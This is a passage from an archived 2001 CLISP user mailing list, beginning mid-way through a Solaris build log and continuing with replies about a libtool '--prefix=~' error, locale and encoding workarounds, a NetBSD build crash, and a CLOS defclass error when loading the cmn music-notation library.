tgetent... no checking for tgetent in -lncurses... no checking for tgetent in -ltermcap... yes checking for the valid characters in filenames... 8-bit checking for inline __builtin_strlen... no checking whether characters are unsigned... no checking for integer types and behaviour creating intparam.h updating cache ./config.cache creating ./config.status creating makemake creating unixconf.h executing src/libiconv/configure ... loading cache ../config.cache checking whether make sets $(MAKE)... yes checking for gcc... (cached) gcc -O checking whether the C compiler (gcc -O ) works... yes checking whether the C compiler (gcc -O ) is a cross-compiler... no checking whether we are using GNU C... (cached) yes checking how to run the C preprocessor... (cached) gcc -O -E -w checking whether -traditional is needed for gcc -O on this system... no checking for ranlib... (cached) ranlib checking for a BSD compatible install... (cached) /opt/local/bin/ginstall -c checking how to copy files... (cached) cp -p checking how to make hard links... (cached) ln checking whether ln -s works... (cached) yes checking host system type... (cached) sparc-sun-solaris2.8 checking for AIX... (cached) no checking for minix/config.h... no checking for POSIXized ISC... no checking for object suffix... o checking for Cygwin environment... no checking for mingw32 environment... no checking for executable suffix... no checking build system type... sparc-sun-solaris2.8 checking for ld used by GCC... /usr/ccs/bin/ld checking if the linker (/usr/ccs/bin/ld) is GNU ld... no checking for /usr/ccs/bin/ld option to reload object files... -r checking for BSD-compatible nm... /usr/ccs/bin/nm -p checking how to recognise dependant libraries... pass_all checking command to parse /usr/ccs/bin/nm -p output... ok checking for dlfcn.h... yes checking for ranlib... (cached) ranlib checking for strip... strip checking for objdir... .libs checking for gcc option to produce PIC... -fPIC checking if gcc PIC flag -fPIC works... yes checking if gcc static flag -static works... yes checking if gcc supports -c -o file.o... yes checking if gcc supports -c -o file.lo... checking if gcc supports -fno-rtti -fno-exceptions... yes checking whether the linker (/usr/ccs/bin/ld) supports shared libraries... yes checking how to hardcode library paths into programs... immediate checking whether stripping libraries is possible... no checking dynamic linker characteristics... solaris2.8 ld.so checking if libtool supports shared libraries... yes creating libtool checking for locale.h... (cached) yes checking for stdlib.h... yes checking for mbstate_t... yes checking for iconv... (cached) yes checking for iconv declaration... (cached) extern size_t iconv (iconv_t cd, const char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t* outbytesleft); checking for mbrtowc... yes checking for wcrtomb... yes checking for mbsinit... yes checking for setlocale... yes checking byte ordering... big endian updating cache ../config.cache creating ./config.status creating Makefile creating lib/Makefile creating src/Makefile creating man/Makefile creating tests/Makefile creating include/iconv.h creating lib/config.h configuring in libcharset running /bin/sh ../../../libiconv/libcharset/configure '--prefix=~' --enable-static --disable-shared --cache-file=../../config.cache --srcdir=../../../libiconv/libcharset loading cache ../../config.cache checking whether make sets ${MAKE}... (cached) yes checking for gcc... (cached) gcc -O checking whether the C compiler (gcc -O ) works... yes checking whether the C compiler (gcc -O ) is a cross-compiler... no checking whether we are using GNU C... (cached) yes checking whether gcc -O accepts -g... yes checking how to run the C preprocessor... (cached) gcc -O -E -w checking whether gcc -O needs -traditional... (cached) no checking for a BSD compatible install... /opt/local/bin/ginstall -c checking host system type... sparc-sun-solaris2.8 checking for AIX... no checking for minix/config.h... (cached) no checking for POSIXized ISC... no checking for object suffix... (cached) o checking for Cygwin environment... (cached) no checking for mingw32 environment... (cached) no checking for executable suffix... (cached) no checking build system type... sparc-sun-solaris2.8 checking for ld used by GCC... (cached) /usr/ccs/bin/ld checking if the linker (/usr/ccs/bin/ld) is GNU ld... (cached) no checking for /usr/ccs/bin/ld option to reload object files... (cached) -r checking for BSD-compatible nm... (cached) /usr/ccs/bin/nm -p checking whether ln -s works... yes checking how to recognise dependant libraries... (cached) pass_all checking command to parse /usr/ccs/bin/nm -p output... (cached) ok checking for dlfcn.h... (cached) yes checking for ranlib... (cached) ranlib checking for strip... (cached) strip checking for objdir... .libs checking for gcc option to produce PIC... (cached) -fPIC checking if gcc PIC flag -fPIC works... (cached) yes checking if gcc static flag -static works... (cached) yes checking if gcc supports -c -o file.o... (cached) yes checking if gcc supports -c -o file.lo... (cached) checking if gcc supports -fno-rtti -fno-exceptions... yes checking whether the linker (/usr/ccs/bin/ld) supports shared libraries... yes checking how to hardcode library paths into programs... immediate checking whether stripping libraries is possible... no checking dynamic linker characteristics... solaris2.8 ld.so checking if libtool supports shared libraries... yes creating libtool checking for langinfo.h... yes checking for nl_langinfo... yes checking for nl_langinfo and CODESET... yes checking whether we are using the GNU C Library 2.1 or newer... no checking for stddef.h... yes checking for stdlib.h... (cached) yes checking for string.h... yes checking for setlocale... (cached) yes updating cache ../../config.cache creating ./config.status creating Makefile creating lib/Makefile creating config.h builddir="`pwd`"; cd libcharset && make all && make install-lib libdir="$builddir/lib" includedir="$builddir/lib" if [ ! -d include ] ; then mkdir include ; fi cp ../../../libiconv/libcharset/include/libcharset.h.in include/libcharset.h cd lib && make all /bin/sh ../libtool --mode=compile gcc -O -I. -I../../../../libiconv/libcharset/lib -I.. -I../../../../libiconv/libcharset/lib/.. -g -O2 -DHAVE_CONFIG_H -DLIBDIR=\"~/lib\" -c ../../../../libiconv/libcharset/lib/localcharset.c gcc -O -I. -I../../../../libiconv/libcharset/lib -I.. -I../../../../libiconv/libcharset/lib/.. -g -O2 -DHAVE_CONFIG_H "-DLIBDIR=\"~/lib\"" -c ../../../../libiconv/libcharset/lib/localcharset.c -o localcharset.o echo timestamp > localcharset.lo /bin/sh ../libtool --mode=link gcc -O -o libcharset.la -rpath ~/lib -version-info 1:0:0 -no-undefined localcharset.lo libtool: link: only absolute run-paths are allowed *** Error code 1 make: Fatal error: Command failed for target `libcharset.la' Current working directory /opt/src/users/tfb/clisp-2.27/src/libiconv/libcharset/lib *** Error code 1 make: Fatal error: Command failed for target `all' Current working directory /opt/src/users/tfb/clisp-2.27/src/libiconv/libcharset *** Error code 1 make: Fatal error: Command failed for target `all' From sds@gnu.org Thu Sep 06 06:10:56 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15eyvo-000837-00 for ; Thu, 06 Sep 2001 06:10:56 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA22546; Thu, 6 Sep 2001 09:10:53 -0400 (EDT) X-Envelope-To: To: "Thomas F. Burdick" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems trying to build on SunOS 5.8 References: <15254.59947.388467.317152@apocalypse.OCF.Berkeley.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15254.59947.388467.317152@apocalypse.OCF.Berkeley.EDU> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 Message-ID: Lines: 28 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 6 06:11:07 2001 X-Original-Date: 06 Sep 2001 09:09:55 -0400 > * In message <15254.59947.388467.317152@apocalypse.OCF.Berkeley.EDU> > * On the subject of "[clisp-list] Problems trying to build on SunOS 5.8" > * Sent on Wed, 5 Sep 2001 20:14:51 -0700 > * Honorable "Thomas F. Burdick" writes: > > The subject kind of says it all. I got the 2.27 tarball from > sourceforge, unpacked it, and you can see the rest below... > > [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ uname -a > SunOS apocalypse.OCF.Berkeley.EDU 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-1 > [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ ./configure --prefix=~ --config ^ > ... > /bin/sh ../libtool --mode=link gcc -O -o libcharset.la -rpath ~/lib -version-info 1:0:0 -no-undefined localcharset.lo > libtool: link: only absolute run-paths are allowed ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > *** Error code 1 give an absolute path to the --prefix argument. (of course, you must make distclean first; if it doesn't work - since configuration failed - remove the source tree and unpack the tarball again) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The early bird may get the worm, but the second mouse gets the cheese. From Bernard.Urban@meteo.fr Thu Sep 06 06:30:55 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ezF4-0002DI-00 for ; Thu, 06 Sep 2001 06:30:50 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87u1yizwhr.fsf@merceron.meteo.fr> <87y9num0uo.fsf@merceron.meteo.fr> <87pu95mwtu.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: Message-ID: <87pu94qweb.fsf@merceron.meteo.fr> Lines: 28 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 6 06:31:03 2001 X-Original-Date: 06 Sep 2001 15:30:36 +0200 Good news from the front ! It works now on Linux (not tried Solaris so far to confirm Raymond Toy message). I spotted the problem to be in gettext/intl/dcigettext.c in #define HAVE_LOCALE_NULL. It appears that setlocale (.., NULL) does not work as assumed in the case of glibc2, and always returns the C locale instead of the fr locale defined in spvw_language.d. So undefining HAVE_LOCALE_NULL forces the code to use instead getenv("LC_MESSAGES"), which works ok. Also, the installation process does not need a pre-intallation of libiconv, you proceed as the unix/INSTALL says. One gotcha, though: you need option "-Eterminal iso8859-1" in french language (or you have "Message inimprimable") and in spanish (or you have message "Character #\u00F3 cannot be represented in the character set CHARSET:ASCII"). A long term solution to the above HAVE_LOCALE_NULL problem is probably to test the feature through autoconf. Regards. -- Bernard Urban From peter.wood@worldonline.dk Thu Sep 06 07:06:10 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15eznF-0006h3-00 for ; Thu, 06 Sep 2001 07:06:09 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 2B6ECB50D for ; Thu, 6 Sep 2001 16:05:40 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f86DwhG00207; Thu, 6 Sep 2001 15:58:43 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 Message-ID: <20010906155842.B156@localhost.localdomain> References: <87u1yizwhr.fsf@merceron.meteo.fr> <87y9num0uo.fsf@merceron.meteo.fr> <87pu95mwtu.fsf@merceron.meteo.fr> <87pu94qweb.fsf@merceron.meteo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <87pu94qweb.fsf@merceron.meteo.fr>; from Bernard.Urban@meteo.fr on Thu, Sep 06, 2001 at 03:30:36PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 6 07:07:03 2001 X-Original-Date: Thu, 6 Sep 2001 15:58:42 +0200 On Thu, Sep 06, 2001 at 03:30:36PM +0200, Bernard Urban wrote: ...cut... > One gotcha, though: you need option "-Eterminal iso8859-1" in french > language (or you have "Message inimprimable") and in spanish (or you > have message > "Character #\u00F3 cannot be represented in the character set CHARSET:ASCII"). Hi, You can also set *terminal-encoding* to have a suitable value for :charset, then you won't need the "-E" flag. Peter From Alexander.Klein@math.uni-giessen.de Thu Sep 06 15:41:15 2001 Received: from hermes.hrz.uni-giessen.de ([134.176.2.15]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15f7pi-0007ZL-00 for ; Thu, 06 Sep 2001 15:41:14 -0700 Received: from ha1.hrz.uni-giessen.de by hermes.hrz.uni-giessen.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 7 Sep 2001 00:41:04 +0200 Received: (from gc1031@localhost) by ha1.hrz.uni-giessen.de (AIX4.2/UCB 8.7/8.7 hacmp) id AAA82622; Fri, 7 Sep 2001 00:41:04 +0200 (CET) X-Sender: gc1031@popg.uni-giessen.de Message-Id: To: From: Alexander Klein MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable Subject: [clisp-list] Problems building on m68k-apple-NetBSD1.5.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 6 15:42:02 2001 X-Original-Date: Thu, 6 Sep 2001 20:54:02 +0200 Hi! I tried to build clisp 2.27 on the machine mentioned in the subject, but encountered serious problems: 1. 'Checking for working mmap' blew up the machine with a kernel panic, the= workaround was to set an environment variable indicating that mmap doesn't work. 2. Later on, the configure script called a program 'minitests' that seemed to run fine ... void f(void): void f(void): int f(void):->99 int f(void):->99 int f(int):(1)->2 int f(int):(1)->2 int f(2*int):(1,2)->3 int f(2*int):(1,2)->3 int f(4*int):(1,2,3,4)->10 int f(4*int):(1,2,3,4)->10 int f(8*int):(1,2,3,4,5,6,7,8)->36 int f(8*int):(1,2,3,4,5,6,7,8)->36 int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143 int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143 float f(float):(0.1)->1.1 float f(float):(0.1)->1.1 float f(2*float):(0.1,0.2)->0.3 float f(2*float):(0.1,0.2)->0.3 float f(4*float):(0.1,0.2,0.3,0.4)->1 float f(4*float):(0.1,0.2,0.3,0.4)->1 float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.= 7)->1 4.3 float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.= 7)->1 4.3 double f(double):(0.1)->1.1 double f(double):(0.1)->1.1 double f(2*double):(0.1,0.2)->0.3 double f(2*double):(0.1,0.2)->0.3 double f(4*double):(0.1,0.2,0.3,0.4)->1 double f(4*double):(0.1,0.2,0.3,0.4)->1 double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 double f(16*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1= .7)-> 14.3 double f(16*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1= .7)-> 14.3 uchar f(uchar,ushort,uint,ulong):(97,2,3,4)->255 uchar f(uchar,ushort,uint,ulong):(97,2,3,4)->255 double f(int,int,double,double):(1,2,0.3,0.4)->3.7 double f(int,int,double,double):(1,2,0.3,0.4)->3.7 double f(int,double,int,double):(1,0.2,3,0.4)->4.6 double f(int,double,int,double):(1,0.2,3,0.4)->4.6 ushort f(char,double,char,double):('a',0.2,'=C4',0.4)->65506 ushort f(char,double,char,double):('a',0.2,'=C4',0.4)->65506 long long f(float,long long,int):(1.4,0x35c6f707fffffffa,0xe)->0x35c6f70800000009 long long f(float,long long,int):(1.4,0x35c6f707fffffffa,0xe)->0x35c6f70800000009 void* f(void*,double*,char*,Int*):(0x81e0,0x8168,0x2746,0x8278)->0x8169 void* f(void*,double*,char*,Int*):(0x81e0,0x8168,0x2746,0x8278)->0x8169 Int f(Int,Int,Int):({1},{2},{3})->{6} Int f(Int,Int,Int):({1},{2},{3}) ... but then died with a segfault. Has anyone any hints what I could try to get the thing running? Best regards! =09Alex From sds@gnu.org Thu Sep 06 16:10:18 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15f8Hq-0001nn-00 for ; Thu, 06 Sep 2001 16:10:18 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id TAA14106; Thu, 6 Sep 2001 19:10:16 -0400 (EDT) X-Envelope-To: To: Alexander Klein Cc: Subject: Re: [clisp-list] Problems building on m68k-apple-NetBSD1.5.1 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 6 16:11:01 2001 X-Original-Date: 06 Sep 2001 19:09:02 -0400 > * In message > * On the subject of "[clisp-list] Problems building on m68k-apple-NetBSD1.5.1" > * Sent on Thu, 6 Sep 2001 20:54:02 +0200 > * Honorable Alexander Klein writes: > > I tried to build clisp 2.27 on the machine mentioned in the subject, but > encountered serious problems: > > 1. 'Checking for working mmap' blew up the machine with a kernel > panic, the workaround was to set an environment variable indicating > that mmap doesn't work. this should be reported to the autoconf maintainers (I think) > 2. Later on, the configure script called a program 'minitests' that seemed > to run fine ... > > void f(void): > ...... [sds: lots deleted] > Int f(Int,Int,Int):({1},{2},{3}) > > .... but then died with a segfault. either build without dynamic ffi, of bypass the test: just above the minitest you should see a command like this cd foo; make && make check && make install-lib ..... execute the "make install-lib" part by hand and proceed. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on When C++ is your hammer, everything looks like a thumb. From tfb@ocf.berkeley.edu Thu Sep 06 18:37:41 2001 Received: from conquest.ocf.berkeley.edu ([128.32.191.90]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15fAaT-0000Cb-00 for ; Thu, 06 Sep 2001 18:37:41 -0700 Received: (from tfb@localhost) by conquest.OCF.Berkeley.EDU (8.9.3/8.9.3) id SAA15596; Thu, 6 Sep 2001 18:37:33 -0700 (PDT) X-Authentication-Warning: conquest.OCF.Berkeley.EDU: tfb set sender to tfb@conquest.OCF.Berkeley.EDU using -f From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15256.9436.928717.891074@conquest.OCF.Berkeley.EDU> To: sds@gnu.org Cc: "Thomas F. Burdick" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems trying to build on SunOS 5.8 In-Reply-To: References: <15254.59947.388467.317152@apocalypse.OCF.Berkeley.EDU> X-Mailer: VM 6.90 under Emacs 20.7.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 6 18:38:02 2001 X-Original-Date: Thu, 6 Sep 2001 18:37:32 -0700 Sam Steingold writes: > > * In message <15254.59947.388467.317152@apocalypse.OCF.Berkeley.EDU> > > * On the subject of "[clisp-list] Problems trying to build on SunOS 5.8" > > * Sent on Wed, 5 Sep 2001 20:14:51 -0700 > > * Honorable "Thomas F. Burdick" writes: > > > > The subject kind of says it all. I got the 2.27 tarball from > > sourceforge, unpacked it, and you can see the rest below... > > > > [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ uname -a > > SunOS apocalypse.OCF.Berkeley.EDU 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-1 > > [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ ./configure --prefix=~ --config > ^ > > ... > > /bin/sh ../libtool --mode=link gcc -O -o libcharset.la -rpath ~/lib -version-info 1:0:0 -no-undefined localcharset.lo > > libtool: link: only absolute run-paths are allowed > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > *** Error code 1 > > give an absolute path to the --prefix argument. Oops, shows how lousy my shell skills are (I thought it would expand the ~). That did it, thanks. From haible@ilog.fr Sun Sep 09 15:04:10 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gCgS-0005bl-00 for ; Sun, 09 Sep 2001 15:04:09 -0700 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.6/8.11.6) with ESMTP id f89M3AM21249 for ; Mon, 10 Sep 2001 00:03:10 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.45]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id f89M3rA01291; Mon, 10 Sep 2001 00:03:53 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id AAA15037; Mon, 10 Sep 2001 00:03:52 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15259.59198.446898.772595@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems trying to build on SunOS 5.8 X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 9 15:05:02 2001 X-Original-Date: Mon, 10 Sep 2001 00:03:42 +0200 (CEST) Sam writes: > give an absolute path to the --prefix argument. Right. --prefix=$HOME would have worked. The difference between $HOME and ~ is that the former is expanded by the shell, whereas ~ is expanded (or refused to be expanded) by each program. Bruno From russell@tdb.com Sun Sep 09 23:17:34 2001 Received: from coulee.tdb.com ([216.99.215.11]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gKNx-0001zN-00 for ; Sun, 09 Sep 2001 23:17:33 -0700 Received: (qmail 1877 invoked by uid 1001); 10 Sep 2001 06:17:27 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems trying to build on SunOS 5.8 References: <15259.59198.446898.772595@honolulu.ilog.fr> From: Russell Senior In-Reply-To: Bruno Haible's message of "Mon, 10 Sep 2001 00:03:42 +0200 (CEST)" Message-ID: <867kv7d0y0.fsf@coulee.tdb.com> Lines: 18 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 9 23:18:03 2001 X-Original-Date: 09 Sep 2001 23:17:27 -0700 >>>>> "Bruno" == Bruno Haible writes: Bruno> Sam writes: >> give an absolute path to the --prefix argument. Bruno> Right. --prefix=$HOME would have worked. Bruno> The difference between $HOME and ~ is that the former is Bruno> expanded by the shell, whereas ~ is expanded (or refused to be Bruno> expanded) by each program. Bash does tilde expansion. -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From jtowler@newton.pconline.com Mon Sep 10 03:42:38 2001 Received: from newton.pconline.com ([206.145.48.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gOWT-0005Sf-00 for ; Mon, 10 Sep 2001 03:42:37 -0700 Received: (from jtowler@localhost) by newton.pconline.com (8.8.5/8.8.5) id FAA28340; Mon, 10 Sep 2001 05:42:24 -0500 Message-Id: <200109101042.FAA28340@newton.pconline.com> From: John Towler To: clisp-list@lists.sourceforge.net CC: cmdist@ccrma.stanford.edu Subject: [clisp-list] clisp-2.27 fails to load compiled cmn-objects.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 10 05:52:02 2001 X-Original-Date: Mon, 10 Sep 2001 05:42:24 -0500 Greetings, I am running CLISP on an i386-unknown-netbsdelf1.5.1 (Toshiba 460 CDT). I ran into problems compiling/loading cmn (ftp://ftp-ccrma.stanford.edu/pub/Lisp/cmn.tar.gz, my current copy is dated Aug 27, 2001 ) with CLISP-2.27. The form that is a problem seems to be: 2. Break CMN[16]> ;;; Evaluate (defclass box-mixin () ((x0 :initarg :x0 :initform 0 :reader x0 :reader box-x0 :type number) (y0 :initarg :y0 :initform 0 :reader y0 :reader box-y0 :type number) (x1 :initarg :x1 :initform 0 :reader x1 :reader box-x1 :type number) (y1 :initarg :y1 :initform 0 :reader y1 :reader box-y1 :type number))) *** - Y0 does not name a generic function 3. Break CMN[17]> The relevant dribble files are at the end along with the source for cmn-objects.lisp which seems to be the problem. I do not understand why this error occurs here. Cltl2 indicates that this is the right kind of form for #'defclass. My understanding of CLOS is not very great, so perhaps someone else might see the problem. CLISP-2.24 (nee 2000-03-06) compiles and loads this with no problem, cmn files load and PS scores are generated. I am not sure whether the problem is with the newer CLOS or something else. How ought I to fix this? Thanks, John Towler ---------- # [2]> (lisp-implementation-version) "2.27 (released 2001-07-17) (built 3208654828) (memory 3208657091)" [3]> (load "cmn-all" ) ;; Loading file /usr/local/src/lisp/cmn/cmn-all.lisp ... Compiling file /usr/local/src/lisp/cmn/cmn-loop.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn-loop.lisp is finished. The following functions were used but are deprecated: GENTEMP 0 errors, 0 warnings ;; Loading file /usr/local/src/lisp/cmn/cmn-loop.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-loop.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn-init.lisp ... ; (PROGN (DEFPACKAGE :CMN (:USE :LOOP :LISP ...) ...) (IN-PACKAGE :CMN)) ; (PUSHNEW :CMN *FEATURES*) ; (DEFVAR *CMN-BINARY-DIRECTORY* "./") ; (DEFVAR *CMN-SOURCE-DIRECTORY* "./") ; (DEFVAR *CMN-VERSION* "Common Music Notation 27-Aug-01") ; (DEFVAR *CMN-NEWS* ...) Compilation of file /usr/local/src/lisp/cmn/cmn-init.lisp is finished. 0 errors, 0 warnings ;; Loading file /usr/local/src/lisp/cmn/cmn-init.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-init.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn-utils.lisp ... ; (IN-PACKAGE :CMN) ; (DEFUN RATIOP (N) (AND (NOT (INTEGERP N)) (TYPEP N 'RATIO))) ; (DEFUN DIVIDE (A B) (IF (ZEROP B) (PROGN # A) (/ A B))) ; (DEFUN NOT-RATIONAL (X) (IF (INTEGERP X) X (FORMAT NIL "~,3F" (FLOAT X)))) ; (DEFUN LIST-P (LST) (AND LST (LISTP LST))) ; (DEFUN ROTATE-MATRIX (MATRIX ANGLE) (FLET (# #) (LET # #))) ; (DEFUN SCALE-MATRIX (MATRIX X-SCALE Y-SCALE) ...) ; (DEFUN MIRROR-MATRIX (MATRIX) (IF MATRIX (LIST # # # ...) (LIST -1 0 0 ...))) ; (DEFUN FLIP-MATRIX (MATRIX) (IF MATRIX (LIST # # # ...) (LIST 1 0 0 ...))) ; (DEFUN TRUNCATED-MATRIX-MULTIPLY (M1 M2) (LET (# # # # ...) (LIST # # # ...))) ; (DEFUN TRANSFORM-BOX (MAT TV BB) ...) ; (DEFUN CREATION-DATE NIL (FLET (# #) (MULTIPLE-VALUE-BIND # # # #))) ; (DEFVAR SMALLEST-NOTE 0.015625) ; (DEFUN RATIFY-1 (UX) (IF (ZEROP UX) (LIST 0 1) (LET # #))) ; (DEFUN RATIFY (NUM) (IF (FLOATP NUM) (IF # # #) (IF # # #))) ; (DEFUN FRATIFY (NUM) (IF (FLOATP NUM) (APPLY #'/ (RATIFY NUM)) NUM)) ; (DEFUN IRATIFY (NUM) (COERCE (APPLY #'/ (RATIFY NUM)) 'RATIONAL)) ; (DEFUN PS-LETTERS (LETTERS) (LET (#) (IF 